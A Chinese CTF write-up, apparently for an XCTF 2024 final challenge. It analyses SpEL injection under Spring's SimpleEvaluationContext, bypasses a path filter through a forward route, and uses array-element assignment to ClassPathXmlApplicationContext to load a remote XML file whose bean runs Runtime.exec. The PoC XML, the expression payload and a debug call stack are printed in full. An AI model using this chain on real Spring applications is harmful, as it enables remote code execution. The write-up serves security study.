SimpleEvaluationContext 条件下spel注入
前言
最近在复现2024 xctf finall的时候有一道题搜了半天也没有wp,网上也没有相关内容,决定自己去探索一下
也学习到了一个新领域,SimpleEvaluationContext 条件下spel注入,因为以前的绕过只是对我们的spel语法的理解去绕过
题目分析
代码部分
我们看到本题给出的关键代码
waf
package com.ctf.ezspel.aspect;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.List;
import java.util.Objects;
import java.util.stream.Stream;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import org.aspectj.lang.ProceedingJoinPoint;
import org.aspectj.lang.annotation.Around;
import org.aspectj.lang.annotation.Aspect;
import org.springframework.stereotype.Component;
@Aspect
@Component
/* loaded from: EzAspect.class */
public class EzAspect {
Logger logger = LogManager.getLogger(EzAspect.class);
List<String> blacklist = new ArrayList(List.of("T(", "new ", ".class", ".getClass(", ".forName("));
@Around("execution(* com.ctf.ezspel.controller..*(..))")
public Object waf(ProceedingJoinPoint joinPoint) {
List<Object> matches = Arrays.stream(joinPoint.getArgs()).filter(arg -> {
if (arg instanceof String) {
String string = (String) arg;
Stream<String> stream = this.blacklist.stream();
Objects.requireNonNull(string);
return stream.anyMatch((v1) -> {
return r1.contains(v1);
});
}
return false;
}).toList();
if (!matches.isEmpty()) {
RuntimeException e = new RuntimeException("blocked payloads");
this.logger.warn(e);
return e.toString();
}
try {
return joinPoint.proceed();
} catch (Throwable e2) {
this.logger.warn(e2);
return e2.toString();
}
}
}
过滤了ArrayList(List.of("T(", "new ", ".class", ".getClass(", ".forName("));
filter
package com.ctf.ezspel.filter;
import jakarta.servlet.FilterChain;
import jakarta.servlet.ServletException;
import jakarta.servlet.annotation.WebFilter;
import jakarta.servlet.http.HttpFilter;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import java.io.IOException;
@WebFilter({"/admin/*"})
/* loaded from: EzFilter.class */
public class EzFilter extends HttpFilter {
protected void doFilter(HttpServletRequest request, HttpServletResponse response, FilterChain chain) throws IOException, ServletException {
response.getWriter().println("nonono, you are not admin");
}
}
禁止我们访问/admin/*下的任何路由
两个路由
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//
package com.ctf.ezspel.controller;
import com.ctf.ezspel.util.Util;
import java.lang.reflect.Array;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
@RestController
@RequestMapping({"/admin"})
public class AdminController {
Logger logger = LogManager.getLogger(AdminController.class);
public AdminController() {
}
@RequestMapping({"/eval"})
public String buildArray(String name, String expr) {
try {
Class clazz = Class.forName(name);
Object array = Array.newInstance(clazz, 1);
Object object = Util.eval(array, expr);
return object.getClass().getName();
} catch (Exception var6) {
this.logger.warn(var6);
return var6.toString();
}
}
}
在admin/eval路由下执行Util.eval方法
public class Util {
public static Object eval(Object root, String expr) {
SimpleEvaluationContext context = SimpleEvaluationContext.forReadOnlyDataBinding().build();
SpelExpressionParser parser = new SpelExpressionParser();
Expression expression = parser.parseExpression(expr);
return expression.getValue(context, root);
}
}
可以看见这里我们可以控制的是表达式和root对象,而且最重要的是
SimpleEvaluationContext context = SimpleEvaluationContext.forReadOnlyDataBinding().build();
我们的context是SimpleEvaluationContext ,导致spel注入异常艰难
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//
package com.ctf.ezspel.controller;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
@RestController
public class EzController {
Logger logger = LogManager.getLogger(EzController.class);
public EzController() {
}
@RequestMapping({"/"})
public String index() {
return "welcome to ezspel";
}
@RequestMapping({"/forward"})
public void forward(HttpServletRequest request, HttpServletResponse response) {
String forward = request.getParameter("forward");
try {
request.getRequestDispatcher(forward).forward(request, response);
} catch (Exception var5) {
this.logger.warn(var5);
}
}
}
其实看到这个路由就知道是绕过我们的admin路由的访问限制了
思路
首先肯定是绕过我们的admin访问限制,其实就是通过forward方法就好了,然后就是spel表达式的注入
SimpleEvaluationContext 条件下spel注入调试分析
题目部分就是上面,这里就讲解一下过程
我们使用下面的代码调试分析
package com.ctf.ezspel.controller;
import org.springframework.context.support.ClassPathXmlApplicationContext;
import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.expression.Expression;
import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.expression.spel.support.SimpleEvaluationContext;
import java.lang.reflect.Array;
/* loaded from: Util.class */
public class Util {
public static void main(String[] args) {
buildArray("org.springframework.context.support.ClassPathXmlApplicationContext","#root[0]='ip/poc.xml'");
}
public static String buildArray(String name, String expr) {
try {
Class clazz = Class.forName(name);
Object array = Array.newInstance((Class<?>) clazz, 1);
Object object = Util.eval(array, expr);
return object.getClass().getName();
} catch (ClassNotFoundException e) {
throw new RuntimeException(e);
}
}
public static Object eval(Object root, String expr) {
SimpleEvaluationContext context = SimpleEvaluationContext.forReadOnlyDataBinding().build();
SpelExpressionParser parser = new SpelExpressionParser();
Expression expression = parser.parseExpression(expr);
return expression.getValue(context, root);
}
}
其中我main方法中两个参数是可以控制的,一个是表达式内容,一个是根对象
先复现一波,其实没有什么好复现的,我们看到org.springframework.context.support.ClassPathXmlApplicationContext就知道是触发了他的构造函数去解析我们远程的xml代码了
POC
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="evil" class="java.lang.String">
<constructor-arg value="#{T(Runtime).getRuntime().exec('calc')}"/>
</bean>
</beans>
运行弹出计算器
我们先简单回顾一下关键代码是干嘛的
Expression expression = parser.parseExpression(expr);
将我们的输入解析为expression对象,主要就是解析一些特殊的,比如root,=,#这种符号啥的
然后一般触发漏洞 的是在getvalueexpression.getValue(context, root);
进入getvalue方法,关键的代码如下
Object result = this.ast.getValue(expressionState);
对我们的表达式进行解析,通过ast的getValue方法,而我们的ast对象就是在前面说的parseExpression方法中生成的
可以看到是把我们的输入按照等号分开了
可以这样理解,key#root[0]是value是'ip/poc.xml'
来到ast对象的getValueInternal方法
public Object getValue(EvaluationContext context, @Nullable Object rootObject) throws EvaluationException {
Assert.notNull(context, "EvaluationContext must not be null");
CompiledExpression compiledAst = this.compiledAst;
if (compiledAst != null) {
try {
return compiledAst.getValue(rootObject, context);
} catch (Throwable var6) {
if (this.configuration.getCompilerMode() != SpelCompilerMode.MIXED) {
throw new SpelEvaluationException(var6, SpelMessage.EXCEPTION_RUNNING_COMPILED_EXPRESSION, new Object[0]);
}
}
this.compiledAst = null;
this.interpretedCount.set(0);
}
ExpressionState expressionState = new ExpressionState(context, this.toTypedValue(rootObject), this.configuration);
Object result = this.ast.getValue(expressionState);
this.checkCompile(expressionState);
return result;
}
可以看到就是在取值
然后来到
setArrayElement:381, Indexer (org.springframework.expression.spel.ast)
为我们的root对象的元素赋值了
进入setArrayElement方法
private void setArrayElement(TypeConverter converter, Object ctx, int idx, @Nullable Object newValue, Class<?> arrayComponentType) throws EvaluationException {
if (arrayComponentType == Boolean.TYPE) {
boolean[] array = (boolean[])ctx;
this.checkAccess(array.length, idx);
array[idx] = (Boolean)this.convertValue(converter, newValue, Boolean.TYPE);
} else if (arrayComponentType == Byte.TYPE) {
byte[] array = (byte[])ctx;
this.checkAccess(array.length, idx);
array[idx] = (Byte)this.convertValue(converter, newValue, Byte.TYPE);
} else if (arrayComponentType == Character.TYPE) {
char[] array = (char[])ctx;
this.checkAccess(array.length, idx);
array[idx] = (Character)this.convertValue(converter, newValue, Character.TYPE);
} else if (arrayComponentType == Double.TYPE) {
double[] array = (double[])ctx;
this.checkAccess(array.length, idx);
array[idx] = (Double)this.convertValue(converter, newValue, Double.TYPE);
} else if (arrayComponentType == Float.TYPE) {
float[] array = (float[])ctx;
this.checkAccess(array.length, idx);
array[idx] = (Float)this.convertValue(converter, newValue, Float.TYPE);
} else if (arrayComponentType == Integer.TYPE) {
int[] array = (int[])ctx;
this.checkAccess(array.length, idx);
array[idx] = (Integer)this.convertValue(converter, newValue, Integer.TYPE);
} else if (arrayComponentType == Long.TYPE) {
long[] array = (long[])ctx;
this.checkAccess(array.length, idx);
array[idx] = (Long)this.convertValue(converter, newValue, Long.TYPE);
} else if (arrayComponentType == Short.TYPE) {
short[] array = (short[])ctx;
this.checkAccess(array.length, idx);
array[idx] = (Short)this.convertValue(converter, newValue, Short.TYPE);
} else {
Object[] array = (Object[])ctx;
this.checkAccess(array.length, idx);
array[idx] = this.convertValue(converter, newValue, arrayComponentType);
}
}
因为我们的root对象不是基础类型,所以会来到最后的else,进入convertValue方法
中间还有些过程就不看了,来到convert:113, ObjectToObjectConverter (org.springframework.core.convert.support)
其实看到这里就应该很清楚了,通过触发构造函数,而我们的对象和参数都是可以控制的
最后来到
public ClassPathXmlApplicationContext(String[] configLocations, boolean refresh, @Nullable ApplicationContext parent) throws BeansException {
super(parent);
this.setConfigLocations(configLocations);
if (refresh) {
this.refresh();
}
}
在refresh方法中会去解析我远程的xml文件触发命令执行
详细的调用栈
<init>:141, ClassPathXmlApplicationContext (org.springframework.context.support)
<init>:85, ClassPathXmlApplicationContext (org.springframework.context.support)
newInstance0:-1, NativeConstructorAccessorImpl (jdk.internal.reflect)
newInstance:77, NativeConstructorAccessorImpl (jdk.internal.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (jdk.internal.reflect)
newInstanceWithCaller:499, Constructor (java.lang.reflect)
newInstance:480, Constructor (java.lang.reflect)
convert:113, ObjectToObjectConverter (org.springframework.core.convert.support)
invokeConverter:41, ConversionUtils (org.springframework.core.convert.support)
convert:182, GenericConversionService (org.springframework.core.convert.support)
convertValue:82, StandardTypeConverter (org.springframework.expression.spel.support)
convertValue:453, Indexer (org.springframework.expression.spel.ast)
setArrayElement:381, Indexer (org.springframework.expression.spel.ast)
setValue:489, Indexer$ArrayIndexingValueRef (org.springframework.expression.spel.ast)
setValueInternal:108, CompoundExpression (org.springframework.expression.spel.ast)
getValueInternal:42, Assign (org.springframework.expression.spel.ast)
getValue:114, SpelNodeImpl (org.springframework.expression.spel.ast)
getValue:338, SpelExpression (org.springframework.expression.spel.standard)
eval:35, Util (com.ctf.ezspel.controller)
buildArray:25, Util (com.ctf.ezspel.controller)
main:18, Util (com.ctf.ezspel.controller)